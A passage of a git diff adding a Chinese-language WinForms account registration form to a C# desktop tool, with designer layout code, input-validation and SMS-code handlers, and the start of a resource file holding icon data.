System.Windows.Forms.Label(); + this.code = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX12 = new DevComponents.DotNetBar.LabelX(); + this.sendCodePanel = new DevComponents.DotNetBar.PanelEx(); + this.regeditPanel = new DevComponents.DotNetBar.PanelEx(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.closePanel = new DevComponents.DotNetBar.PanelEx(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.panelEx1.SuspendLayout(); + this.SuspendLayout(); + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX1.Location = new System.Drawing.Point(65, 151); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(50, 23); + this.labelX1.TabIndex = 0; + this.labelX1.Text = "手机:"; + // + // mobile + // + // + // + // + this.mobile.Border.Class = "TextBoxBorder"; + this.mobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.mobile.Font = new System.Drawing.Font("微软雅黑", 11F); + this.mobile.Location = new System.Drawing.Point(120, 149); + this.mobile.MaxLength = 11; + this.mobile.Name = "mobile"; + this.mobile.Size = new System.Drawing.Size(220, 27); + this.mobile.TabIndex = 1; + this.mobile.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.mobile.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.mobile.WatermarkText = "请输入手机号"; + this.mobile.TextChanged += new System.EventHandler(this.mobile_TextChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.Red; + this.label1.Location = new System.Drawing.Point(355, 157); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(11, 12); + this.label1.TabIndex = 3; + this.label1.Text = "*"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.ForeColor = System.Drawing.Color.Red; + this.label2.Location = new System.Drawing.Point(355, 197); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(11, 12); + this.label2.TabIndex = 7; + this.label2.Text = "*"; + // + // password1 + // + // + // + // + this.password1.Border.Class = "TextBoxBorder"; + this.password1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.password1.Font = new System.Drawing.Font("微软雅黑", 11F); + this.password1.Location = new System.Drawing.Point(120, 229); + this.password1.MaxLength = 60; + this.password1.Name = "password1"; + this.password1.PasswordChar = '*'; + this.password1.Size = new System.Drawing.Size(220, 27); + this.password1.TabIndex = 3; + this.password1.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.password1.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.password1.WatermarkText = "最少6个字母"; + // + // labelX4 + // + // + // + // + this.labelX4.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX4.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX4.Location = new System.Drawing.Point(65, 231); + this.labelX4.Name = "labelX4"; + this.labelX4.Size = new System.Drawing.Size(50, 23); + this.labelX4.TabIndex = 4; + this.labelX4.Text = "密码:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.Red; + this.label3.Location = new System.Drawing.Point(355, 277); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(11, 12); + this.label3.TabIndex = 11; + this.label3.Text = "*"; + // + // password2 + // + // + // + // + this.password2.Border.Class = "TextBoxBorder"; + this.password2.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.password2.Font = new System.Drawing.Font("微软雅黑", 11F); + this.password2.Location = new System.Drawing.Point(120, 269); + this.password2.MaxLength = 60; + this.password2.Name = "password2"; + this.password2.PasswordChar = '*'; + this.password2.Size = new System.Drawing.Size(220, 27); + this.password2.TabIndex = 4; + this.password2.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.password2.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.password2.WatermarkText = "请重复密码"; + // + // labelX6 + // + // + // + // + this.labelX6.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX6.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX6.Location = new System.Drawing.Point(65, 271); + this.labelX6.Name = "labelX6"; + this.labelX6.Size = new System.Drawing.Size(50, 23); + this.labelX6.TabIndex = 8; + this.labelX6.Text = "重复:"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.ForeColor = System.Drawing.Color.Red; + this.label4.Location = new System.Drawing.Point(355, 357); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(11, 12); + this.label4.TabIndex = 15; + this.label4.Text = "*"; + // + // email + // + // + // + // + this.email.Border.Class = "TextBoxBorder"; + this.email.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.email.Font = new System.Drawing.Font("微软雅黑", 11F); + this.email.Location = new System.Drawing.Point(120, 349); + this.email.MaxLength = 30; + this.email.Name = "email"; + this.email.Size = new System.Drawing.Size(220, 27); + this.email.TabIndex = 6; + this.email.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.email.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.email.WatermarkText = "用于找回密码"; + // + // labelX8 + // + // + // + // + this.labelX8.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX8.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX8.Location = new System.Drawing.Point(65, 351); + this.labelX8.Name = "labelX8"; + this.labelX8.Size = new System.Drawing.Size(50, 23); + this.labelX8.TabIndex = 12; + this.labelX8.Text = "邮箱:"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.ForeColor = System.Drawing.Color.Red; + this.label5.Location = new System.Drawing.Point(355, 317); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(11, 12); + this.label5.TabIndex = 19; + this.label5.Text = "*"; + // + // userName + // + // + // + // + this.userName.Border.Class = "TextBoxBorder"; + this.userName.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.userName.Font = new System.Drawing.Font("微软雅黑", 11F); + this.userName.Location = new System.Drawing.Point(120, 309); + this.userName.MaxLength = 15; + this.userName.Name = "userName"; + this.userName.Size = new System.Drawing.Size(220, 27); + this.userName.TabIndex = 5; + this.userName.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.userName.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.userName.WatermarkText = "用于EB系统登录,必须唯一"; + this.userName.TextChanged += new System.EventHandler(this.userName_TextChanged); + // + // labelX10 + // + // + // + // + this.labelX10.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX10.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX10.Location = new System.Drawing.Point(65, 311); + this.labelX10.Name = "labelX10"; + this.labelX10.Size = new System.Drawing.Size(50, 23); + this.labelX10.TabIndex = 16; + this.labelX10.Text = "姓名:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.ForeColor = System.Drawing.Color.Red; + this.label6.Location = new System.Drawing.Point(355, 237); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(11, 12); + this.label6.TabIndex = 23; + this.label6.Text = "*"; + // + // code + // + // + // + // + this.code.Border.Class = "TextBoxBorder"; + this.code.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.code.Font = new System.Drawing.Font("微软雅黑", 11F); + this.code.Location = new System.Drawing.Point(120, 189); + this.code.MaxLength = 5; + this.code.Name = "code"; + this.code.Size = new System.Drawing.Size(97, 27); + this.code.TabIndex = 2; + this.code.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.code.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.code.WatermarkText = "请先获取"; + this.code.TextChanged += new System.EventHandler(this.code_TextChanged); + // + // labelX12 + // + // + // + // + this.labelX12.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX12.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX12.Location = new System.Drawing.Point(54, 191); + this.labelX12.Name = "labelX12"; + this.labelX12.Size = new System.Drawing.Size(61, 23); + this.labelX12.TabIndex = 20; + this.labelX12.Text = "验证码:"; + // + // sendCodePanel + // + this.sendCodePanel.CanvasColor = System.Drawing.SystemColors.Control; + this.sendCodePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.sendCodePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.sendCodePanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.sendCodePanel.Location = new System.Drawing.Point(223, 189); + this.sendCodePanel.Name = "sendCodePanel"; + this.sendCodePanel.Size = new System.Drawing.Size(117, 27); + this.sendCodePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.sendCodePanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.sendCodePanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.sendCodePanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.sendCodePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.sendCodePanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.sendCodePanel.Style.GradientAngle = 90; + this.sendCodePanel.TabIndex = 24; + this.sendCodePanel.Text = "获取短信验证码"; + this.sendCodePanel.Click += new System.EventHandler(this.sendCodePanel_Click); + // + // regeditPanel + // + this.regeditPanel.CanvasColor = System.Drawing.SystemColors.Control; + this.regeditPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.regeditPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.regeditPanel.Font = new System.Drawing.Font("微软雅黑", 11F); + this.regeditPanel.Location = new System.Drawing.Point(120, 393); + this.regeditPanel.Name = "regeditPanel"; + this.regeditPanel.Size = new System.Drawing.Size(220, 35); + this.regeditPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.regeditPanel.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.regeditPanel.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.regeditPanel.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.regedit_bg; + this.regeditPanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.regeditPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.regeditPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.regeditPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.regeditPanel.Style.GradientAngle = 90; + this.regeditPanel.TabIndex = 7; + this.regeditPanel.Text = "注 册 账 户"; + this.regeditPanel.Click += new System.EventHandler(this.regeditPanel_Click); + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.closePanel); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Margin = new System.Windows.Forms.Padding(0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(430, 130); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.panelEx1.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.panelEx1.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.login_bg; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx1.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 26; + this.panelEx1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseDown); + this.panelEx1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseMove); + this.panelEx1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseUp); + // + // closePanel + // + this.closePanel.CanvasColor = System.Drawing.SystemColors.Control; + this.closePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.closePanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.closePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.closePanel.Location = new System.Drawing.Point(410, 6); + this.closePanel.Name = "closePanel"; + this.closePanel.Size = new System.Drawing.Size(14, 15); + this.closePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.closePanel.Style.BackColor1.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackColor2.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.close; + this.closePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.closePanel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.closePanel.Style.GradientAngle = 90; + this.closePanel.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.close_hover; + this.closePanel.TabIndex = 0; + this.closePanel.Click += new System.EventHandler(this.closePanel_Click); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Font = new System.Drawing.Font("微软雅黑", 10F); + this.label7.Location = new System.Drawing.Point(117, 441); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(79, 20); + this.label7.TabIndex = 27; + this.label7.Text = "已有账户?"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Cursor = System.Windows.Forms.Cursors.Hand; + this.label8.Font = new System.Drawing.Font("微软雅黑", 10F); + this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.label8.Location = new System.Drawing.Point(192, 441); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(65, 20); + this.label8.TabIndex = 28; + this.label8.Text = "立即登录"; + this.label8.Click += new System.EventHandler(this.label8_Click); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Cursor = System.Windows.Forms.Cursors.Hand; + this.label9.Font = new System.Drawing.Font("微软雅黑", 10F); + this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.label9.Location = new System.Drawing.Point(261, 441); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(79, 20); + this.label9.TabIndex = 38; + this.label9.Text = "去后台开户"; + this.label9.Visible = false; + this.label9.Click += new System.EventHandler(this.label9_Click); + // + // RegeditForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(247)))), ((int)(((byte)(254))))); + this.ClientSize = new System.Drawing.Size(430, 482); + this.Controls.Add(this.label9); + this.Controls.Add(this.label8); + this.Controls.Add(this.label7); + this.Controls.Add(this.panelEx1); + this.Controls.Add(this.regeditPanel); + this.Controls.Add(this.sendCodePanel); + this.Controls.Add(this.label6); + this.Controls.Add(this.code); + this.Controls.Add(this.labelX12); + this.Controls.Add(this.label5); + this.Controls.Add(this.userName); + this.Controls.Add(this.labelX10); + this.Controls.Add(this.label4); + this.Controls.Add(this.email); + this.Controls.Add(this.labelX8); + this.Controls.Add(this.label3); + this.Controls.Add(this.password2); + this.Controls.Add(this.labelX6); + this.Controls.Add(this.label2); + this.Controls.Add(this.password1); + this.Controls.Add(this.labelX4); + this.Controls.Add(this.label1); + this.Controls.Add(this.mobile); + this.Controls.Add(this.labelX1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "RegeditForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "注册 - 小奶牛"; + this.Load += new System.EventHandler(this.RegeditForm_Load); + this.panelEx1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.Controls.TextBoxX mobile; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.TextBoxX password1; + private DevComponents.DotNetBar.LabelX labelX4; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.Controls.TextBoxX password2; + private DevComponents.DotNetBar.LabelX labelX6; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.Controls.TextBoxX email; + private DevComponents.DotNetBar.LabelX labelX8; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.TextBoxX userName; + private DevComponents.DotNetBar.LabelX labelX10; + private System.Windows.Forms.Label label6; + private DevComponents.DotNetBar.Controls.TextBoxX code; + private DevComponents.DotNetBar.LabelX labelX12; + private DevComponents.DotNetBar.PanelEx sendCodePanel; + private DevComponents.DotNetBar.PanelEx regeditPanel; + private DevComponents.DotNetBar.PanelEx panelEx1; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private DevComponents.DotNetBar.PanelEx closePanel; + private System.Windows.Forms.Label label9; + } +} \ No newline at end of file diff --git a/TEMUKJD/UserForm/RegeditForm.cs b/TEMUKJD/UserForm/RegeditForm.cs new file mode 100644 index 0000000..494f959 --- /dev/null +++ b/TEMUKJD/UserForm/RegeditForm.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using Work; + +namespace LittleRabbit.UserForm +{ + public partial class RegeditForm : Form + { + public LoginForm lf; + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + public delegate void delegateView(); + public RegeditForm() + { + InitializeComponent(); + } + + private void label8_Click(object sender, EventArgs e) + { + Close(); + } + + private void closePanel_Click(object sender, EventArgs e) + { + Close(); + } + + private void panelEx1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + {//获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void panelEx1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void panelEx1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void mobile_TextChanged(object sender, EventArgs e) + { + mobile.Text = BaseRegex.GetMatchRegexString(mobile.Text, @"([\d]+)"); + } + + private void code_TextChanged(object sender, EventArgs e) + { + code.Text = BaseRegex.GetMatchRegexString(code.Text, @"([\d]+)"); + } + + private void regeditPanel_Click(object sender, EventArgs e) + { + if (mobile.Text.Length != 11) + { + BaseMsgForm.ShowInfo("请输入正确的手机号码", "提示"); + mobile.Focus(); + return; + } + if (code.Text.Length != 5) + { + BaseMsgForm.ShowInfo("请输入正确的验证码", "提示"); + code.Focus(); + return; + } + if (password1.Text.Length < 6) + { + BaseMsgForm.ShowInfo("请输入长度不小于6位的密码", "提示"); + password1.Focus(); + return; + } + if (password1.Text != password2.Text) + { + BaseMsgForm.ShowInfo("两次输入的密码不一致", "提示"); + password1.Text = ""; + password2.Text = ""; + password1.Focus(); + return; + } + if (userName.Text.Length == 0) + { + BaseMsgForm.ShowInfo("请输入你的姓名", "提示"); + userName.Focus(); + return; + } + if (email.Text.Length < 3 && !email.Text.Contains("@")) + { + BaseMsgForm.ShowInfo("请输入正确的邮箱", "提示"); + email.Focus(); + return; + } + string message; + UserLogin ul = new UserLogin(); + bool ok = ul.Regedit(mobile.Text,password1.Text,code.Text,userName.Text,email.Text,out message); + if (!ok) + { + var formLevel = message.Length > 100 ? FormLevel.LARGE : FormLevel.MEDIUM; + BaseMsgForm.ShowError(message, "注册错误", formLevel); + return; + } + BaseMsgForm.ShowInfo("恭喜你,注册成功,请牢记你的密码", "注册成功"); + lf.SetMobile(mobile.Text); + Close(); + } + + private void sendCodePanel_Click(object sender, EventArgs e) + { + string m = mobile.Text; + if (m.Length != 11) + { + BaseMsgForm.ShowInfo("请先输入正确的手机号码\r\n仅支持中国大陆手机号码\r\n请不要加0086", "提示"); + return; + } + bool success; + string message = UserLogin.SendCode(m, out success); + if (!success) + { + BaseMsgForm.ShowInfo(message, "发送短信错误,请联系客服QQ:" + BaseClass.ServiceQQ + " 代开通"); + return; + } + BaseMsgForm.ShowInfo("短信发送成功,请不要重复点击,如果收不到短信,可以联系客服QQ:" + BaseClass.ServiceQQ + "", "提示"); + sendCodePanel.Enabled = false; + new Thread(SetCodeEnable).Start(); + } + + public void SetCodeEnable() + { + Thread.Sleep(20*1000); + Invoke(new delegateView(SetCodeEnableGet)); + } + public void SetCodeEnableGet() + { + sendCodePanel.Enabled = true; + + } + + private void userName_TextChanged(object sender, EventArgs e) + { + string temp = BaseRegex.Clear(userName.Text, @"[\s]+"); + if (temp != userName.Text) + userName.Text = temp; + } + + private void RegeditForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + Text = "注册账户 " + BaseClass.ToolName; + if (BaseClass.LoginImage != null) + panelEx1.Style.BackgroundImage = BaseClass.LoginImage; + } + + private void label9_Click(object sender, EventArgs e) + { + + } + } +} diff --git a/TEMUKJD/UserForm/RegeditForm.resx b/TEMUKJD/UserForm/RegeditForm.resx new file mode 100644 index 0000000..2e1c1fc --- /dev/null +++ b/TEMUKJD/UserForm/RegeditForm.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABILAAASCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi0lFiIvLRlmXFpOkNzb + 15P9/fuT///9jvz//G38/PlYycnFOZKSkg4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi0tGk8wLxy0Mi4b0DMu + HexUUkL909LN/v7+/P////38/v797/79/ObU1dHZTUs+xpORiong6+AZAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8fChkxMBrKMy4b9zMv + HP0zMB3/My8c/1pXSP7a2dX+/v78/////f////3///79//z7+f/n5uP9uLix+vf39evt8O1WAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADOZsgouOSteMi8b8DQx + Hv42MyD+NTIg/jQwHv41MR//hoV6//79+////vz////9/////f////3////9///++////vv///79/5Sl + pP6T5vdmM8z/BQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA54/8JNrzNejRZ + Ue06NyT/dnVp/oaEeP6AfnL+dnRn/l1aTP+dm5P///79/////f////3////9//7+/P/+/vz///78///+ + /P////3/pLCt/i/V7u1D1/BUSdvbBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDR + 72Qsx+DuL2Fc/nFvZP/s7On+/v78//7+/P/+/vz+2tnV/+np5v////3////9/////f////3/+fn3/ujn + 5P78/Pr//v78/////f+qrqr+KNXw/izW79g61u4+AAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAv1e8xJtTv5CfQ6/4taWj+rKum/uno5f7///3////9/////f////3////9/////f////3////9//// + /f/d3dn+bmxf/rW0r/7+/fz+/v78/6Syr/4m1O//JdXx/SfT8KoizO4PAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAL//BCjU8MAm1PD/JtTw/yuCiP6anpj+4d7d/v79+/////3////9/////f////3////9//// + /f////3//v78/93d2v5FQzL+TUw8/uLh3v78/Pv+h6ur/ibU8P8m1PH/JNXw+CXU8VoAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAr1O5ZJdPu8SXU8f8l0+//KqKw/mZuZf7U0s/+/Pv5/v///f////3////9//// + /f////3////9//7+/P/08/H+oaCZ/js5J/41MiD/RkQ0/oqKfv5RmJ3+JtTw/iXV8P8l1PD/KdLv5wDf + 3wgAAAAAAAAAAAAAAAAAAAAAKtT/DCnV7qkl1PD+JNTx/inB1/5EeHj+VFNG/rq5tv7u7Ov+///9/v/+ + /P///vz///79/////f////3//v77/9PSzf5TUUH+MzAd/zQwHv80MB3/NzQj/0B+gP4stcj+JtLs/iXU + 8P8l1PD/K9PsewAAAAAAAAAAAAAAAAAAAAAwyuI1LdDq0yXT7v4ny+T+QYCE/qmqpP7LysX+dHJn/tjW + 1P76+ff+//78/v79/P7+/fz+/fz6//38+v/+/vz+5+fk/mhmV/4zMB3+NDAe/zQwHf80MB3/cnBl/3iK + h/48r7/+JtHs/iTU8P8q1O/UOdTjEgAAAAAAAAAAMzcsRldpYrpuoaX0T4yP/jJsbP6Nk4z+nZuT/s/P + yv6hoJf+mJeQ/uDf3f66ubP+fXxy/nx7cP59fHL/fHxz/4CCd/6xsav+hYN3/jc0Iv4zMB3/MzAd/zMv + Hf+zsar+0tDO/oifn/44t8f+K8HX/i6Ij/IqRTxzMzMRDwAAAABfXlLj1tXR/uno5f7h4t7+0tLN/tXU + 0P5qZ1r+U1FC/k5MPv4/PSz+Zm1r/pizyP6Mrcf/i63H/4msyf+JrMf/h6vJ/5m72f6Np73+Q0c+/jIw + HP8zMBz/QD0s/+Lg3f739/X+4eHf/nKFgP5yiof+t768/cLDwOyIiH+vVVVHEnt5b/5IRjf+rKuk/vz7 + +P709PD+enlt/jMwHP4zMBz/PDst/pCnuf6s0O//rNDv/6rP7/+oze//p8zv/6fM7/+nzO7/pszu/6bL + 7/+jy+//j67I/zw9MP9kYVL+7+/r/v///f7//vz++fj2//z8+v/+/fr//v78/+vq5/5lZVtnm5qR+vr5 + +P7j4t/++vn2/vj39P6qqaH+WVdI/kNDNP6qw9j/udfw/7fW8f+31vH/rszp/2N1r/8kKan/Iyaw/0VT + nv+gvuH/r9Hv/63R7/+sz+7/mLPK/1JYU/6WmZL+6ern/qGgmf7Nzcj+///9/v///f////3//fz6/ouL + g4BTUEGgt7Wv9OHg3P79/Pr//v78/+jo5f6Qj4b+oq+4/sbe9P/F3vT/w9z0/8Pc9P+Sp8L/LzaD/jg9 + tv4lKLH+IiW7/2V0tP+30+3/u9fy/7nX8f+41vH/mrHD/kFmZP55f3f+Ojcm/piWjP76+ff+/v78//z8 + +f7Y2NTubWpiRiNoaBY1fH/DfJWR/vPz8P79/fv+rray/l9pY/7H1+X+0uT2/9Hk9v/P4/b/z+P2/3B+ + 